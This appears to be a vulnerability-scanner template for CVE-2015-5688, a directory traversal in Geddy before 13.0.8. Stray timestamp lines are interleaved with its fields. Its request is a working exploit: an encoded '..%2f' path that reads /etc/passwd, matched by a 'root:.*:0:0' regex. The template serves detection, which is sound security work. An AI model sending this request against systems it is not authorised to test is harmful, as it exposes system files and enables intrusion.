2021-02-25 02:34:40 +00:00
id : CVE-2015-5688
info :
2021-08-19 14:44:46 +00:00
name : Geddy before v13.0.8 LFI
author : pikpikcu
severity : high
description : Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
reference :
- https://nodesecurity.io/advisories/geddy-directory-traversal
- https://github.com/geddy/geddy/issues/697
tags : cve,cve2015,geddy,lfi
2021-02-25 02:34:40 +00:00
requests :
2021-08-19 14:44:46 +00:00
- method : GET
path :
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
2021-02-25 08:36:06 +00:00
2021-08-19 14:44:46 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
- "root:.*:0:0"
part : body
2021-02-25 02:34:40 +00:00
2021-08-19 14:44:46 +00:00
- type : status
status :
- 200
